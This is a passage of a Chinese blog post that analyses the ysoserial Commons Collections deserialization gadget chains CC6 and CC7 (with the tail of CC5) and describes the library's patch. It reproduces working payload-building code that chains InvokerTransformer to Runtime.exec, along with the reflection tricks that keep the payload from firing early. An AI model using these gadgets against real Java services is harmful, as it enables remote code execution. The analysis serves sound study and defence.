    BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> RCE
    

    CommonsCollections6

    这个gadget与5差不多,都是利用了TiedMapEntry中的方法来触发LazyMap绑定的Transformer,不过从反序列化到TiedMapEntry的过程不太一样,先看一下源码

    public Serializable getObject(final String command) throws Exception {
    
        final String[] execArgs = new String[] { command };
    
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
    
        Transformer transformerChain = new ChainedTransformer(transformers);
    
        final Map innerMap = new HashMap();
    
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
        HashSet map = new HashSet(1);
        map.add("foo");//添加一个键
    
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");//获取map属性
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
    
        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对
    
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
    
        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node
    
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
    
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
    
        Reflections.setAccessible(keyField);
        keyField.set(node, entry);//将其中一个Node的key属性改为entry
    
        return map;
    
    }
    

    可以看到前面部分都是差不多的,主要是后面的代码。后面的代码先创建了一个HashSet实例,添加一个键之后通过反射对其属性做了很多操作,乍一看有点晕。。先把剩下的代码提取出来

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    HashSet map = new HashSet(1);
    map.add("foo");//添加一个键
    
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");//获取map属性
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    
    Reflections.setAccessible(f);
    HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对
    
    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    
    Reflections.setAccessible(f2);
    Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node
    
    Object node = array[0];
    if(node == null){
        node = array[1];
    }
    
    Field keyField = null;
    try{
        keyField = node.getClass().getDeclaredField("key");
    }catch(Exception e){
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    
    Reflections.setAccessible(keyField);
    keyField.set(node, entry);//将其中一个Node的key属性改为entry
    
    return map;
    

    其实这段代码基本等价于以下几行代码:

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add(entry);
    return map;
    

    就是把entry绑定到HashSet上。这两种方法的区别在哪?第一种是通过反射,将entry赋值给HashSet实例中的一个Node的key属性,第二种则是直接调用HashSet.add()方法,有啥区别?跟进一下HashSet.add()方法

    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }
    

    跟进put()

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
    

    此时的key就是entry变量(TiedMapEntry实例),跟进hash()

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    

    这里调用了key.hashCode(),也就是TiedMapEntry.hashCode(),继续跟进

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
    

    这里调用了this.getValue(),是不是很熟悉?没错,正是CommonsCollections5中利用的TiedMapEntry的方法。跟进一下getValue()

    public Object getValue() {
        return this.map.get(this.key);
    }
    

    调用了map属性的get方法。回顾一下我们实例化TiedMapEntry时传入的参数以及其构造方法:

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
    

    可以发现这里的map属性就是绑定了执行系统命令Transformer的LazyMap实例,由于实例化LazyMap时没有添加foo键,一次调用其get()方法获取foo时会触发Transformer。触发完之后会把foo键添加到LazyMap实例上。

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);//添加key
            return value;
        } else {
            return super.map.get(key);
        }
    }
    

    可是现在我们只是在构造payload阶段,由于上面将foo键添加到了LazyMap实例,因此反序列化时LazyMap已经存在了foo属性,从而导致无法触发EXP。因此,直接使用map.add(entry);是行不通的,还可以在返回序列化对象之前,remove掉LazyMap的foo属性。比如:

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    HashSet map = new HashSet(1);
    map.add(entry);
    lazyMap.remove("foo");
    
    return map;
    

    需要通过反射,将entry绑定到HashSet的一个key上,这样才不会在序列化阶段就触发Lazymap绑定的Transformer。

    可是如何利用反射来直接添加一个HashSet的key呢?通过poc的源码不难发现,其实就是先获取HashSet.map属性,然后再获取这个属性的table属性,然后再获取table属性的key属性,最后直接对key属性进行赋值

    map属性是HashMap类型,看看HashMap.table属性

    是Node类型,再看看Node.key属性

    再看一下一个HashSet实例的值是怎样的

    因此,只有通过反射的方法才不会在序列化阶段就间接调用LazyMap.get

    看一下反序列化的过程,由于最终返回的是HashSet实例用于序列化,因此直接看HashSet.readObject()

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();
    
        ...
    
        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
    
        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }
    

    可以在最后发现调用了HashMap.put(),这个方法在上面分析过了,底层会调用LazyMap.get(xxx)。由于我们在构建payload时使用了反射来创建HashSet实例,因此LazyMap实例中没有任何键,因此这里会触发LazyMap绑定的Transformer,从而造成RCE。

    这个gadget的调用链如下:

    HashSet.readObject() -> HashMap.put() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransfomer.transform() -> RCE
    

    CommonsCollections7

    这个的gadget与6类似,只不过是通过Hashtable类进行反序列化,最终到达LazyMap.get()的。先看一下代码

    public Hashtable getObject(final String command) throws Exception {
    
        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};
    
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};
    
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
    
        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
    
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
    
        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
    
        return hashtable;
    }
    

    直接看后半部分,创建了两个LazyMap实例然后都put到Hashtable实例中,然后调用remove()移除lazyMap2中的名为yy的key,原因与CommonsCollections6中差不多,之后再说。最后返回Hashtable实例,进行序列化。我们先看一下Hashtable.readObject(),先从反序列化的逻辑来看

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold and loadFactor
        s.defaultReadObject();
    
        ...
        
        int elements = s.readInt();
    
        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);
    
        ...
    
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;
    
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            reconstitutionPut(table, key, value);
        }
    }
    

    可以看得到,最后通过一个for循环来遍历Hashtable实例原本的元素,对每个元素调用reconstitutionPut()方法,跟进一下

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
    

    这里也有一个for循环,不过只有在tab[index]!=null才会进入,而tab在下方进行赋值:

    tab[index] = new Entry<>(hash, key, value, e);
    

    Entry类其实就是Hashtable中存储数据的类,每一个元素都是一个Entry对象。可以看一下Hashtable.put()方法,其实就是在table属性中添加了一个Entry对象。【插一句,仔细点可以发现,put()方法与reconstitutionPut()的代码几乎一毛一样,只不过put()是正向的插入元素,而reconstitutionPut()是逆向的,在readObject()复原元素时‘插入’元素】

    public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }
    
        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) && entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }
    
        addEntry(hash, key, value, index);
        return null;
    }
    
    private void addEntry(int hash, K key, V value, int index) {
        modCount++;
        Entry<?,?> tab[] = table;
        ...
        Entry<K,V> e = (Entry<K,V>) tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
    

    而Hashtable的table属性类型也正是Entry[]

    回到上面的Hashtable.readObject()调用的reconstitutionPut()方法

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
    

    先获取key.hashCode(),也就是key的hash。对于第二个及以后的元素,会将每个元素与之前的所有元素进行对比,判断条件如下

    if ((e.hash == hash) && e.key.equals(key)) {
    

    如果两个key的hash相同,则调用e.key.equals(key)来判断当前元素中是否含有之前的key。这里的e.key就是我们在构建payload时put的值,也就是LazyMap实例。由于LazyMap没有定义equals()方法,因此跟进其父类AbstractMapDecorator.equals()

    public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);
    }
    

    this.map是HashMap实例,由于HashMap没有重写equals方法,因此进入其父类AbstractMap.equals()

    public boolean equals(Object o) {
        if (o == this)
            return true;
    
        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;
    
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))//调用o.get(key)
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }
    
        return true;
    }
    

    可以看到有调用m.get(key),这里的m实际上就是在reconstitutionPut()中传入的参数:key,也就是LazyMap实例,因此要反序列化的Hashtable的第二个元素中不存在第一个元素中的key,那么这里就可以触发LazyMap绑定的Transformer,造成RCE。

    总结一下,在构造gadget时大概有以下几点限制:
    1.Hashtable实例中至少有两个元素
    2.Hashtable实例的两个元素的key的hash必须一样
    3.第二个元素的key是LazyMap实例,且其中不存在第一个元素中的key

    因此我们可以在Hashtable中添加两个Map,第二个元素是LazyMap实例。LazyMap实例中不能有第一个元素中的key,同时两个元素的key的hash必须一样。这点怎么绕过?

    可以参照ysoserial中的代码,由于字符串"yy""zZ"的hash是相同的

    因此可以让这两个字符串分别作为两个Map实例的key。至此大概可以写出如下的poc

    final Transformer transformerChain = new ChainedTransformer(
            ...
        );
    
    Map innerMap = new HashMap();
    Map lazymap = LazyMap.decorate(innerMap, transformerChain);
    
    Map itemMap = new HashMap();
    itemMap.put("yy", 1);
    innerMap.put("zZ", 1);
    
    Hashtable hashtable = new Hashtable();
    hashtable.put(itemMap, 1);
    hashtable.put(lazymap, 1);
    
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    
    return hashtable;
    

    可是测试时发现,在反序列化时无法造成rce,反而是在生成序列化流时会造成rce。为啥?原因跟CommonsCollections类似。在构造Hashtable时,使用了Hashtable.put()方法来添加元素,而put()方法内部也会进行与反序列化时的reconstitutionPut()进行类似的操作,也会调用equals()进行判断,从而底层调用了LazyMap.get()。因此,在返回Hashtable类用于序列化之前,我们需要把LazyMap中新加的key给去掉,也就是第一个元素的key。所以我们在return之前需要加上一行:

    lazyMap2.remove("yy");
    

    总结下来调用链大概如下

    Hashtable.readObject() -> Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() -> ChainedTrasnformer.transform() -> RCE
    

    0x03 总结

    归纳

    几个gadget的链大概是由以下几个部分组成

    CommonsCollections1: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InvokerTransformer

    CommonsCollections3: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

    CommonsCollections2: PriorityQueue、TransformingComparator、InvokerTransformer、TemplatesImpl

    CommonsCollections4: PriorityQueue、TransformingComparator、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

    CommonsCollections5: BadAttributeValueExpException、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransformer

    CommonsCoolections6: HashSet、HashMap、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransfomer

    CommonsCollections7: Hashtable、LazyMap、ChainedTransformer、InvokerTransformer

    执行命令的几种方式:
    1.ChainedTransformer+InvokerTransformer,比如1、5、6、7
    2.ChainedTransformer+InstantiateTransformer+TrAXFilter+TemplatesImpl,比如3、4
    2.ChainedTransformer+InvokerTransformer+TemplatesImpl,比如2

    再底层点来看其实就只有两种方式,InvokerTransformer和TemplatesImpl

    从反序列化到命令执行的路径:
    1.LazyMap,比如1、3、5、6、7
    2.PriorityQueue+TransformingComparator,比如2、4

    而从反序列化到LazyMap.get()这条路径又分为了好几种:
    1.AnnotationInvocationHandler+Proxy,比如1、3
    2.BadAttributeValueExpException+TiedMapEntry,比如5
    3.HashSet+HashMap+TiedMapEntry,比如6
    4.Hashtable,比如7

    补丁

    根据以上的归纳可以发现,其实利用链最底层用来执行命令的方法不过就是Transformer和TemplatesImpl。因为最终目的是执行任意代码,也就是可以执行任意类的任意方法,其实主要就是Transformer的利用,因为TemplatesImpl的几种利用方式不过是结合了不同的Transformer来实现(InvokerTransformer、InstantiateTransformer)。

    链的构造主要是通过Map绑定Transformer来实现,或者是PriorityQueue绑定TransformingComparator来实现。

    反序列化入口则是百花齐放,是人是鬼都在秀。

    总的来说,这次漏洞主要还是最底层的Transformer的原因,因此官方的补丁就是在几个Transformer的writeObject()/readObject()处增加了一个全局开关,默认是开关开启的,当对这些Transformer进行序列化/反序列化时,会抛出UnsupportedOperationException异常。

    //InvokerTransformer
    private void writeObject(ObjectOutputStream os) throws IOException {
        FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
        os.defaultWriteObject();
    }
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
        is.defaultReadObject();
    }
    
    //FunctorUtils
    static void checkUnsafeSerialization(Class clazz) {
        String unsafeSerializableProperty;
    
        try {
            unsafeSerializableProperty =
                (String) AccessController.doPrivileged(new PrivilegedAction() {
                    public Object run() {
                        return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
                    }
                });
        } catch (SecurityException ex) {
            unsafeSerializableProperty = null;
        }
    
        if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
            throw new UnsupportedOperationException(
                    "Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
                    "To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
                    "but you must ensure that your application does not de-serialize objects from untrusted sources.");
        }}
    

    参考:影响与修复

    0x04 参考

    Java反序列化漏洞-玄铁重剑之CommonsCollection

    ysoserial payload分析 -kingkk

    玩转Ysoserial-CommonsCollection的七种利用方式分析 -平安银行应用安全团队

  • 相关阅读:
    计算机网络第一章_20210512
    bootloader_华清远见
    C#3.17
    linux--cd命令
    国内的开源网站
    安装linux
    如何自我介绍
    课堂破冰游戏“猜猜他是谁”
    办公软件---word
    计算机网络--技能训练
  • 原文地址:https://www.cnblogs.com/litlife/p/12571787.html
Copyright © 2020-2023  润新知